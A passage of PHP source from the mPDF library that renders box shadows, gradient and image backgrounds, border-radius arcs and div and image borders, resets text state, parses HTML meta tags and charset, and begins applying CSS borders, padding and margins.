$p2y = $y00 + $h00; $p3x = $x00; $p3c2x = $p3x + $bl / 2; $p3y = $y00 + $h00 - $d1 - $brbgBL_V; $p3c1y = $p3y + ($d1 + $brbgBL_V) * $mag; $p4x = $x00 + $bl; $p4y = $y00 + $h00 - $d1 - $brbgBL_V; $p4c2y = $p4y + ($d2 + $brbgBL_V) * $mag; if (-$d2 > min($brbgBL_H, $brbgBL_V) || $flatten) { $p1x = $x00 + $bl; $p1c2x = $p1x; $p2x = $x00 + $bl; $p2c2x = $p2x - $bl * $mag2; $p3y = $y00 + $h00 - $bl; $p3c1y = $p3y + $bl * $mag2; $p4y = $y00 + $h00 - $bl; $p4c2y = $p4y; } $shadow .= sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', ($p1c2x) * Mpdf::SCALE, ($this->h - ($p1y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4c2y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE); $patch_array[4]['f'] = 2; $patch_array[4]['points'] = [$p2c2x, $p2y, $p3x, $p3c1y, $p3x, $p3y, $p3c2x, $p3y, $p4x, $p4y, $p4x, $p4y, $p4x, $p4c2y, $p1c2x, $p1y]; $patch_array[4]['colors'] = [$col2, $col1]; // LEFT - joins on the right (C3-C4 of previous): f = 2 $p1x = $x00; // control point only matches p3 preceding $p1y = $y00 + $h00 - $d1 - $brbgBL_V; $p2x = $x00 + $bl; // control point only matches p4 preceding $p2y = $y00 + $h00 - $d1 - $brbgBL_V; $p3x = $x00 + $bl; $p3y = $y00 + $d1 + $brbgTL_V; $p4x = $x00; $p4c1x = $p4x + $bl / 2; $p4y = $y00 + $d1 + $brbgTL_V; if (-$d2 > min($brbgBL_H, $brbgBL_V) || $flatten) { $p1y = $y00 + $h00 - $bl; $p2y = $y00 + $h00 - $bl; } if (-$d2 > min($brbgTL_H, $brbgTL_V) || $flatten) { $p3y = $y00 + $bl; $p4y = $y00 + $bl; } $shadow .= sprintf('%.3F %.3F l ', ($p3x ) * Mpdf::SCALE, ($this->h - ($p3y )) * Mpdf::SCALE); $patch_array[5]['f'] = 2; $patch_array[5]['points'] = [$p2x, $p2y, $p3x, $p3y, $p3x, $p3y, $p3x, $p3y, $p4c1x, $p4y, $p4x, $p4y, $p4x, $p4y, $p1x, $p1y]; $patch_array[5]['colors'] = [$col1, $col2]; // TOP LEFT corner $p1x = $x00 + $bl; // control points only matches p3 preceding $p1y = $y00 + $d1 + $brbgTL_V; $p1c2y = $p1y - ($d2 + $brbgTL_V) * $mag; $p2x = $x00; // control point only matches p4 preceding $p2y = $y00 + $d1 + $brbgTL_V; $p2c2y = $p2y - ($d1 + $brbgTL_V) * $mag; $p3x = $x00 + $d1 + $brbgTL_H; $p3c1x = $p3x - ($d1 + $brbgTL_H) * $mag; $p3y = $y00; $p3c2y = $p3y + $bl / 2; $p4x = $x00 + $d1 + $brbgTL_H; $p4c2x = $p4x - ($d2 + $brbgTL_H) * $mag; $p4y = $y00 + $bl; if (-$d2 > min($brbgTL_H, $brbgTL_V) || $flatten) { $p1y = $y00 + $bl; $p1c2y = $p1y; $p2y = $y00 + $bl; $p2c2y = $p2y - $bl * $mag2; $p3x = $x00 + $bl; $p3c1x = $p3x - $bl * $mag2; $p4x = $x00 + $bl; $p4c2x = $p4x; } $shadow .= sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', ($p1x) * Mpdf::SCALE, ($this->h - ($p1c2y)) * Mpdf::SCALE, ($p4c2x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE, ($p4x) * Mpdf::SCALE, ($this->h - ($p4y)) * Mpdf::SCALE); $patch_array[6]['f'] = 2; $patch_array[6]['points'] = [$p2x, $p2c2y, $p3c1x, $p3y, $p3x, $p3y, $p3x, $p3c2y, $p4x, $p4y, $p4x, $p4y, $p4c2x, $p4y, $p1x, $p1c2y]; $patch_array[6]['colors'] = [$col2, $col1]; // TOP - joins on the right (C3-C4 of previous): f = 2 $p1x = $x00 + $d1 + $brbgTL_H; // control point only matches p3 preceding $p1y = $y00; $p2x = $x00 + $d1 + $brbgTL_H; // control point only matches p4 preceding $p2y = $y00 + $bl; $p3x = $x00 + $w00 - $d1 - $brbgTR_H; $p3y = $y00 + $bl; $p4x = $x00 + $w00 - $d1 - $brbgTR_H; $p4y = $y00; $p4c1y = $p4y + $bl / 2; if (-$d2 > min($brbgTL_H, $brbgTL_V) || $flatten) { $p1x = $x00 + $bl; $p2x = $x00 + $bl; } if (-$d2 > min($brbgTR_H, $brbgTR_V) || $flatten) { $p3x = $x00 + $w00 - $bl; $p4x = $x00 + $w00 - $bl; } $shadow .= sprintf('%.3F %.3F l ', ($p3x ) * Mpdf::SCALE, ($this->h - ($p3y )) * Mpdf::SCALE); $patch_array[7]['f'] = 2; $patch_array[7]['points'] = [$p2x, $p2y, $p3x, $p3y, $p3x, $p3y, $p3x, $p3y, $p4x, $p4c1y, $p4x, $p4y, $p4x, $p4y, $p1x, $p1y]; $patch_array[7]['colors'] = [$col1, $col2]; $shadow .= ' h f Q ' . "\n"; // Close path and Fill the inner solid shadow if ($bl) { $shadow .= $this->gradient->CoonsPatchMesh($x00, $y00, $w00, $h00, $patch_array, $x00, $x00 + $w00, $y00, $y00 + $h00, $colspace, true); } if ($sh['x'] || $sh['y']) { $shadow .= ' Q' . "\n"; // Shadow Offset } $shadow .= ' Q' . "\n"; // Ends path no-op & Sets the clipping path } } $s .= ' W n '; // Ends path no-op & Sets the clipping path if ($this->blk[$blvl]['bgcolor']) { $this->pageBackgrounds[$blvl][] = [ 'x' => $x0, 'y' => $y0, 'w' => $w, 'h' => $h, 'col' => $this->blk[$blvl]['bgcolorarray'], 'clippath' => $s, 'visibility' => $this->visibility, 'shadow' => $shadow, 'z-index' => $this->current_layer, ]; } elseif ($shadow) { $this->pageBackgrounds[$blvl][] = [ 'x' => 0, 'y' => 0, 'w' => 0, 'h' => 0, 'shadowonly' => true, 'col' => '', 'clippath' => '', 'visibility' => $this->visibility, 'shadow' => $shadow, 'z-index' => $this->current_layer, ]; } /* -- BACKGROUNDS -- */ if (isset($this->blk[$blvl]['gradient'])) { $g = $this->gradient->parseBackgroundGradient($this->blk[$blvl]['gradient']); if ($g) { $gx = $x0; $gy = $y0; $this->pageBackgrounds[$blvl][] = [ 'gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $w, 'h' => $h, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s, 'visibility' => $this->visibility, 'z-index' => $this->current_layer ]; } } if (isset($this->blk[$blvl]['background-image'])) { if (isset($this->blk[$blvl]['background-image']['gradient']) && $this->blk[$blvl]['background-image']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $this->blk[$blvl]['background-image']['gradient'])) { $g = $this->gradient->parseMozGradient($this->blk[$blvl]['background-image']['gradient']); if ($g) { $gx = $x0; $gy = $y0; // origin specifies the background-positioning-area (bpa) if ($this->blk[$blvl]['background-image']['origin'] == 'padding-box') { $gx += $this->blk[$blvl]['border_left']['w']; $w -= ($this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['border_right']['w']); if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $gy += $this->blk[$blvl]['border_top']['w']; } if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $gy1 = $y1 - $this->blk[$blvl]['border_bottom']['w']; } else { $gy1 = $y1; } $h = $gy1 - $gy; } elseif ($this->blk[$blvl]['background-image']['origin'] == 'content-box') { $gx += $this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['padding_left']; $w -= ($this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['padding_left'] + $this->blk[$blvl]['border_right']['w'] + $this->blk[$blvl]['padding_right']); if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $gy += $this->blk[$blvl]['border_top']['w'] + $this->blk[$blvl]['padding_top']; } if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $gy1 = $y1 - ($this->blk[$blvl]['border_bottom']['w'] + $this->blk[$blvl]['padding_bottom']); } else { $gy1 = $y1 - $this->blk[$blvl]['padding_bottom']; } $h = $gy1 - $gy; } if (isset($this->blk[$blvl]['background-image']['size']['w']) && $this->blk[$blvl]['background-image']['size']['w']) { $size = $this->blk[$blvl]['background-image']['size']; if ($size['w'] != 'contain' && $size['w'] != 'cover') { if (stristr($size['w'], '%')) { $size['w'] = (float) $size['w']; $size['w'] /= 100; $w *= $size['w']; } elseif ($size['w'] != 'auto') { $w = $size['w']; } if (stristr($size['h'], '%')) { $size['h'] = (float) $size['h']; $size['h'] /= 100; $h *= $size['h']; } elseif ($size['h'] != 'auto') { $h = $size['h']; } } } $this->pageBackgrounds[$blvl][] = [ 'gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $w, 'h' => $h, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s, 'visibility' => $this->visibility, 'z-index' => $this->current_layer ]; } } else { $image_id = $this->blk[$blvl]['background-image']['image_id']; $orig_w = $this->blk[$blvl]['background-image']['orig_w']; $orig_h = $this->blk[$blvl]['background-image']['orig_h']; $x_pos = $this->blk[$blvl]['background-image']['x_pos']; $y_pos = $this->blk[$blvl]['background-image']['y_pos']; $x_repeat = $this->blk[$blvl]['background-image']['x_repeat']; $y_repeat = $this->blk[$blvl]['background-image']['y_repeat']; $resize = $this->blk[$blvl]['background-image']['resize']; $opacity = $this->blk[$blvl]['background-image']['opacity']; $itype = $this->blk[$blvl]['background-image']['itype']; $size = $this->blk[$blvl]['background-image']['size']; // origin specifies the background-positioning-area (bpa) $bpa = ['x' => $x0, 'y' => $y0, 'w' => $w, 'h' => $h]; if ($this->blk[$blvl]['background-image']['origin'] == 'padding-box') { $bpa['x'] = $x0 + $this->blk[$blvl]['border_left']['w']; $bpa['w'] = $w - ($this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['border_right']['w']); if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $bpa['y'] = $y0 + $this->blk[$blvl]['border_top']['w']; } else { $bpa['y'] = $y0; } if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $bpay = $y1 - $this->blk[$blvl]['border_bottom']['w']; } else { $bpay = $y1; } $bpa['h'] = $bpay - $bpa['y']; } elseif ($this->blk[$blvl]['background-image']['origin'] == 'content-box') { $bpa['x'] = $x0 + $this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['padding_left']; $bpa['w'] = $w - ($this->blk[$blvl]['border_left']['w'] + $this->blk[$blvl]['padding_left'] + $this->blk[$blvl]['border_right']['w'] + $this->blk[$blvl]['padding_right']); if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $bpa['y'] = $y0 + $this->blk[$blvl]['border_top']['w'] + $this->blk[$blvl]['padding_top']; } else { $bpa['y'] = $y0 + $this->blk[$blvl]['padding_top']; } if ($this->blk[$blvl]['border_bottom'] && $blockstate != 1 && $divider != 'pagebottom') { $bpay = $y1 - ($this->blk[$blvl]['border_bottom']['w'] + $this->blk[$blvl]['padding_bottom']); } else { $bpay = $y1 - $this->blk[$blvl]['padding_bottom']; } $bpa['h'] = $bpay - $bpa['y']; } $this->pageBackgrounds[$blvl][] = [ 'x' => $x0, 'y' => $y0, 'w' => $w, 'h' => $h, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => $s, 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype, 'visibility' => $this->visibility, 'z-index' => $this->current_layer, 'size' => $size, 'bpa' => $bpa ]; } } /* -- END BACKGROUNDS -- */ // Float DIV $this->blk[$blvl]['bb_painted'][$this->page] = true; } /* -- BORDER-RADIUS -- */ function _EllipseArc($x0, $y0, $rx, $ry, $seg = 1, $part = false, $start = false) { // Anticlockwise segment 1-4 TR-TL-BL-BR (part=1 or 2) $s = ''; if ($rx < 0) { $rx = 0; } if ($ry < 0) { $ry = 0; } $rx *= Mpdf::SCALE; $ry *= Mpdf::SCALE; $astart = 0; if ($seg == 1) { // Top Right $afinish = 90; $nSeg = 4; } elseif ($seg == 2) { // Top Left $afinish = 180; $nSeg = 8; } elseif ($seg == 3) { // Bottom Left $afinish = 270; $nSeg = 12; } else { // Bottom Right $afinish = 360; $nSeg = 16; } $astart = deg2rad((float) $astart); $afinish = deg2rad((float) $afinish); $totalAngle = $afinish - $astart; $dt = $totalAngle / $nSeg; // segment angle $dtm = $dt / 3; $x0 *= Mpdf::SCALE; $y0 = ($this->h - $y0) * Mpdf::SCALE; $t1 = $astart; $a0 = $x0 + ($rx * cos($t1)); $b0 = $y0 + ($ry * sin($t1)); $c0 = -$rx * sin($t1); $d0 = $ry * cos($t1); $op = false; for ($i = 1; $i <= $nSeg; $i++) { // Draw this bit of the total curve $t1 = ($i * $dt) + $astart; $a1 = $x0 + ($rx * cos($t1)); $b1 = $y0 + ($ry * sin($t1)); $c1 = -$rx * sin($t1); $d1 = $ry * cos($t1); if ($i > ($nSeg - 4) && (!$part || ($part == 1 && $i <= $nSeg - 2) || ($part == 2 && $i > $nSeg - 2))) { if ($start && !$op) { $s .= sprintf('%.3F %.3F m ', $a0, $b0); } $s .= sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c ', ($a0 + ($c0 * $dtm)), ($b0 + ($d0 * $dtm)), ($a1 - ($c1 * $dtm)), ($b1 - ($d1 * $dtm)), $a1, $b1); $op = true; } $a0 = $a1; $b0 = $b1; $c0 = $c1; $d0 = $d1; } return $s; } /* -- END BORDER-RADIUS -- */ function PaintDivLnBorder($state = 0, $blvl = 0, $h = 0) { // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom $this->ColDetails[$this->CurrCol]['bottom_margin'] = $this->y + $h; $save_y = $this->y; $w = $this->blk[$blvl]['width']; $x0 = $this->x; // left $y0 = $this->y; // top $x1 = $this->x + $w; // bottom $y1 = $this->y + $h; // bottom $continuingpage = (isset($this->blk[$blvl]['startpage']) && $this->blk[$blvl]['startpage'] != $this->page); if ($this->blk[$blvl]['border_top'] && ($state == 1 || $state == 3)) { $tbd = $this->blk[$blvl]['border_top']; if (isset($tbd['s']) && $tbd['s']) { $this->_setBorderLine($tbd); $this->y = $y0 + ($tbd['w'] / 2); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', $continuingpage, 'T'); $this->Line($x0 + ($tbd['w'] / 2), $this->y, $x0 + $w - ($tbd['w'] / 2), $this->y); } else { $this->SetLineJoin(0); $this->SetLineCap(0); $this->Line($x0, $this->y, $x0 + $w, $this->y); } $this->y += $tbd['w']; // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($this->blk[$blvl]['border_left']) { $tbd = $this->blk[$blvl]['border_left']; if (isset($tbd['s']) && $tbd['s']) { $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->y = $y0 + ($tbd['w'] / 2); $this->_setDashBorder($tbd['style'], '', $continuingpage, 'L'); $this->Line($x0 + ($tbd['w'] / 2), $this->y, $x0 + ($tbd['w'] / 2), $y0 + $h - ($tbd['w'] / 2)); } else { $this->y = $y0; $this->SetLineJoin(0); $this->SetLineCap(0); $this->Line($x0 + ($tbd['w'] / 2), $this->y, $x0 + ($tbd['w'] / 2), $y0 + $h); } $this->y += $tbd['w']; // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($this->blk[$blvl]['border_right']) { $tbd = $this->blk[$blvl]['border_right']; if (isset($tbd['s']) && $tbd['s']) { $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->y = $y0 + ($tbd['w'] / 2); $this->_setDashBorder($tbd['style'], '', $continuingpage, 'R'); $this->Line($x0 + $w - ($tbd['w'] / 2), $this->y, $x0 + $w - ($tbd['w'] / 2), $y0 + $h - ($tbd['w'] / 2)); } else { $this->y = $y0; $this->SetLineJoin(0); $this->SetLineCap(0); $this->Line($x0 + $w - ($tbd['w'] / 2), $this->y, $x0 + $w - ($tbd['w'] / 2), $y0 + $h); } $this->y += $tbd['w']; // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($this->blk[$blvl]['border_bottom'] && $state > 1) { $tbd = $this->blk[$blvl]['border_bottom']; if (isset($tbd['s']) && $tbd['s']) { $this->_setBorderLine($tbd); $this->y = $y0 + $h - ($tbd['w'] / 2); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', $continuingpage, 'B'); $this->Line($x0 + ($tbd['w'] / 2), $this->y, $x0 + $w - ($tbd['w'] / 2), $this->y); } else { $this->SetLineJoin(0); $this->SetLineCap(0); $this->Line($x0, $this->y, $x0 + $w, $this->y); } $this->y += $tbd['w']; // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } $this->SetDash(); $this->y = $save_y; } function PaintImgBorder($objattr, $is_table) { // Borders are disabled in columns - messes up the repositioning in printcolumnbuffer if ($this->ColActive) { return; } // *COLUMNS* if ($is_table) { $k = $this->shrin_k; } else { $k = 1; } $h = (isset($objattr['BORDER-HEIGHT']) ? $objattr['BORDER-HEIGHT'] : 0); $w = (isset($objattr['BORDER-WIDTH']) ? $objattr['BORDER-WIDTH'] : 0); $x0 = (isset($objattr['BORDER-X']) ? $objattr['BORDER-X'] : 0); $y0 = (isset($objattr['BORDER-Y']) ? $objattr['BORDER-Y'] : 0); // BORDERS if ($objattr['border_top']) { $tbd = $objattr['border_top']; if (!empty($tbd['s'])) { $this->_setBorderLine($tbd, $k); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', '', 'T'); } $this->Line($x0, $y0, $x0 + $w, $y0); // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($objattr['border_left']) { $tbd = $objattr['border_left']; if (!empty($tbd['s'])) { $this->_setBorderLine($tbd, $k); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', '', 'L'); } $this->Line($x0, $y0, $x0, $y0 + $h); // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($objattr['border_right']) { $tbd = $objattr['border_right']; if (!empty($tbd['s'])) { $this->_setBorderLine($tbd, $k); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', '', 'R'); } $this->Line($x0 + $w, $y0, $x0 + $w, $y0 + $h); // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } if ($objattr['border_bottom']) { $tbd = $objattr['border_bottom']; if (!empty($tbd['s'])) { $this->_setBorderLine($tbd, $k); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $this->_setDashBorder($tbd['style'], '', '', 'B'); } $this->Line($x0, $y0 + $h, $x0 + $w, $y0 + $h); // Reset Corners and Dash off $this->SetLineJoin(2); $this->SetLineCap(2); $this->SetDash(); } } $this->SetDash(); $this->SetAlpha(1); } /* -- END HTML-CSS -- */ function Reset() { $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); $this->SetAlpha(1); $this->colorarray = ''; $this->spanbgcolorarray = ''; $this->spanbgcolor = false; $this->spanborder = false; $this->spanborddet = []; $this->ResetStyles(); $this->HREF = ''; $this->textparam = []; $this->SetTextOutline(); $this->textvar = 0x00; // mPDF 5.7.1 $this->OTLtags = []; $this->textshadow = ''; $this->currentLang = $this->default_lang; // mPDF 6 $this->RestrictUnicodeFonts($this->default_available_fonts); // mPDF 6 $this->SetFont($this->default_font, '', 0, false); $this->SetFontSize($this->default_font_size, false); $this->currentfontfamily = ''; $this->currentfontsize = ''; $this->currentfontstyle = ''; /* -- TABLES -- */ if ($this->tableLevel && isset($this->table[1][1]['cellLineHeight'])) { $this->SetLineHeight('', $this->table[1][1]['cellLineHeight']); // *TABLES* } else { /* -- END TABLES -- */ if (isset($this->blk[$this->blklvl]['line_height']) && $this->blk[$this->blklvl]['line_height']) { $this->SetLineHeight('', $this->blk[$this->blklvl]['line_height']); // sets default line height } } $this->lSpacingCSS = ''; $this->wSpacingCSS = ''; $this->fixedlSpacing = false; $this->minwSpacing = 0; $this->SetDash(); // restore to no dash $this->dash_on = false; $this->dotted_on = false; $this->divwidth = 0; $this->divheight = 0; $this->cellTextAlign = ''; $this->cellLineHeight = ''; $this->cellLineStackingStrategy = ''; $this->cellLineStackingShift = ''; $this->oldy = -1; $bodystyle = []; if (isset($this->cssManager->CSS['BODY']['FONT-STYLE'])) { $bodystyle['FONT-STYLE'] = $this->cssManager->CSS['BODY']['FONT-STYLE']; } if (isset($this->cssManager->CSS['BODY']['FONT-WEIGHT'])) { $bodystyle['FONT-WEIGHT'] = $this->cssManager->CSS['BODY']['FONT-WEIGHT']; } if (isset($this->cssManager->CSS['BODY']['COLOR'])) { $bodystyle['COLOR'] = $this->cssManager->CSS['BODY']['COLOR']; } if (isset($bodystyle)) { $this->setCSS($bodystyle, 'BLOCK', 'BODY'); } } /* -- HTML-CSS -- */ function ReadMetaTags($html) { // changes anykey=anyvalue to anykey="anyvalue" (only do this when this happens inside tags) $regexp = '/ (\\w+?)=([^\\s>"]+)/si'; $html = preg_replace($regexp, " \$1=\"\$2\"", $html); if (preg_match('/(.*?)<\/title>/si', $html, $m)) { $this->SetTitle($m[1]); } preg_match_all('/<meta [^>]*?(name|content)="([^>]*?)" [^>]*?(name|content)="([^>]*?)".*?>/si', $html, $aux); $firstattr = $aux[1]; $secondattr = $aux[3]; for ($i = 0; $i < count($aux[0]); $i++) { $name = ( strtoupper($firstattr[$i]) == "NAME" ) ? strtoupper($aux[2][$i]) : strtoupper($aux[4][$i]); $content = ( strtoupper($firstattr[$i]) == "CONTENT" ) ? $aux[2][$i] : $aux[4][$i]; switch ($name) { case "KEYWORDS": $this->SetKeywords($content); break; case "AUTHOR": $this->SetAuthor($content); break; case "DESCRIPTION": $this->SetSubject($content); break; } } } function ReadCharset($html) { // Charset conversion if ($this->allow_charset_conversion) { if (preg_match('/<head.*charset=([^\'\"\s]*).*<\/head>/si', $html, $m)) { if (strtoupper($m[1]) != 'UTF-8') { $this->charset_in = strtoupper($m[1]); } } } } function setCSS($arrayaux, $type = '', $tag = '') { // type= INLINE | BLOCK | TABLECELL // tag= BODY if (!is_array($arrayaux)) { return; // Removes PHP Warning } // mPDF 5.7.3 inline text-decoration parameters $preceeding_fontkey = $this->FontFamily . $this->FontStyle; $preceeding_fontsize = $this->FontSize; $spanbordset = false; $spanbgset = false; // mPDF 6 $prevlevel = (($this->blklvl == 0) ? 0 : $this->blklvl - 1); // Set font size first so that e.g. MARGIN 0.83em works on font size for this element if (isset($arrayaux['FONT-SIZE'])) { $v = $arrayaux['FONT-SIZE']; if (is_numeric($v[0]) || ($v[0] === '.')) { if ($type == 'BLOCK' && $this->blklvl > 0 && isset($this->blk[$this->blklvl - 1]['InlineProperties']) && isset($this->blk[$this->blklvl - 1]['InlineProperties']['size'])) { $mmsize = $this->sizeConverter->convert($v, $this->blk[$this->blklvl - 1]['InlineProperties']['size']); } elseif ($type == 'TABLECELL') { $mmsize = $this->sizeConverter->convert($v, $this->default_font_size / Mpdf::SCALE); } else { $mmsize = $this->sizeConverter->convert($v, $this->FontSize); } $this->SetFontSize($mmsize * (Mpdf::SCALE), false); // Get size in points (pt) } else { $v = strtoupper($v); if (isset($this->fontsizes[$v])) { $this->SetFontSize($this->fontsizes[$v] * $this->default_font_size, false); } } if ($tag == 'BODY') { $this->SetDefaultFontSize($this->FontSizePt); } } // mPDF 6 if (isset($arrayaux['LANG']) && $arrayaux['LANG']) { if ($this->autoLangToFont && !$this->usingCoreFont) { if ($arrayaux['LANG'] != $this->default_lang && $arrayaux['LANG'] != 'UTF-8') { list ($coreSuitable, $mpdf_pdf_unifont) = $this->languageToFont->getLanguageOptions($arrayaux['LANG'], $this->useAdobeCJK); if ($mpdf_pdf_unifont) { $arrayaux['FONT-FAMILY'] = $mpdf_pdf_unifont; } if ($tag == 'BODY') { $this->default_lang = $arrayaux['LANG']; } } } $this->currentLang = $arrayaux['LANG']; } // FOR INLINE and BLOCK OR 'BODY' if (isset($arrayaux['FONT-FAMILY'])) { $v = $arrayaux['FONT-FAMILY']; // If it is a font list, get all font types $aux_fontlist = explode(",", $v); $found = 0; foreach ($aux_fontlist as $f) { $fonttype = trim($f); $fonttype = preg_replace('/["\']*(.*?)["\']*/', '\\1', $fonttype); $fonttype = preg_replace('/ /', '', $fonttype); $v = strtolower(trim($fonttype)); if (isset($this->fonttrans[$v]) && $this->fonttrans[$v]) { $v = $this->fonttrans[$v]; } if ((!$this->onlyCoreFonts && in_array($v, $this->available_unifonts)) || in_array($v, ['ccourier', 'ctimes', 'chelvetica']) || ($this->onlyCoreFonts && in_array($v, ['courier', 'times', 'helvetica', 'arial'])) || in_array($v, ['sjis', 'uhc', 'big5', 'gb'])) { $fonttype = $v; $found = 1; break; } } if (!$found) { foreach ($aux_fontlist as $f) { $fonttype = trim($f); $fonttype = preg_replace('/["\']*(.*?)["\']*/', '\\1', $fonttype); $fonttype = preg_replace('/ /', '', $fonttype); $v = strtolower(trim($fonttype)); if (isset($this->fonttrans[$v]) && $this->fonttrans[$v]) { $v = $this->fonttrans[$v]; } if (in_array($v, $this->sans_fonts) || in_array($v, $this->serif_fonts) || in_array($v, $this->mono_fonts)) { $fonttype = $v; break; } } } if ($tag == 'BODY') { $this->SetDefaultFont($fonttype); } $this->SetFont($fonttype, $this->currentfontstyle, 0, false); } else { $this->SetFont($this->currentfontfamily, $this->currentfontstyle, 0, false); } foreach ($arrayaux as $k => $v) { if ($type != 'INLINE' && $tag != 'BODY' && $type != 'TABLECELL') { switch ($k) { // BORDERS case 'BORDER-TOP': $this->blk[$this->blklvl]['border_top'] = $this->border_details($v); if ($this->blk[$this->blklvl]['border_top']['s']) { $this->blk[$this->blklvl]['border'] = 1; } break; case 'BORDER-BOTTOM': $this->blk[$this->blklvl]['border_bottom'] = $this->border_details($v); if ($this->blk[$this->blklvl]['border_bottom']['s']) { $this->blk[$this->blklvl]['border'] = 1; } break; case 'BORDER-LEFT': $this->blk[$this->blklvl]['border_left'] = $this->border_details($v); if ($this->blk[$this->blklvl]['border_left']['s']) { $this->blk[$this->blklvl]['border'] = 1; } break; case 'BORDER-RIGHT': $this->blk[$this->blklvl]['border_right'] = $this->border_details($v); if ($this->blk[$this->blklvl]['border_right']['s']) { $this->blk[$this->blklvl]['border'] = 1; } break; // PADDING case 'PADDING-TOP': $this->blk[$this->blklvl]['padding_top'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'PADDING-BOTTOM': $this->blk[$this->blklvl]['padding_bottom'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'PADDING-LEFT': if (($tag == 'UL' || $tag == 'OL') && $v == 'auto') { $this->blk[$this->blklvl]['padding_left'] = 'auto'; break; } $this->blk[$this->blklvl]['padding_left'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'PADDING-RIGHT': if (($tag == 'UL' || $tag == 'OL') && $v == 'auto') { $this->blk[$this->blklvl]['padding_right'] = 'auto'; break; } $this->blk[$this->blklvl]['padding_right'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; // MARGINS case 'MARGIN-TOP': $tmp = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); if (isset($this->blk[$this->blklvl]['lastbottommargin'])) { if ($tmp > $this->blk[$this->blklvl]['lastbottommargin']) { $tmp -= $this->blk[$this->blklvl]['lastbottommargin']; } else { $tmp = 0; } } $this->blk[$this->blklvl]['margin_top'] = $tmp; break; case 'MARGIN-BOTTOM': $this->blk[$this->blklvl]['margin_bottom'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'MARGIN-LEFT': $this->blk[$this->blklvl]['margin_left'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'MARGIN-RIGHT': $this->blk[$this->blklvl]['margin_right'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; /* -- BORDER-RADIUS -- */ case 'BORDER-TOP-LEFT-RADIUS-H': $this->blk[$this->blklvl]['border_radius_TL_H'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-TOP-LEFT-RADIUS-V': $this->blk[$this->blklvl]['border_radius_TL_V'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-TOP-RIGHT-RADIUS-H': $this->blk[$this->blklvl]['border_radius_TR_H'] = 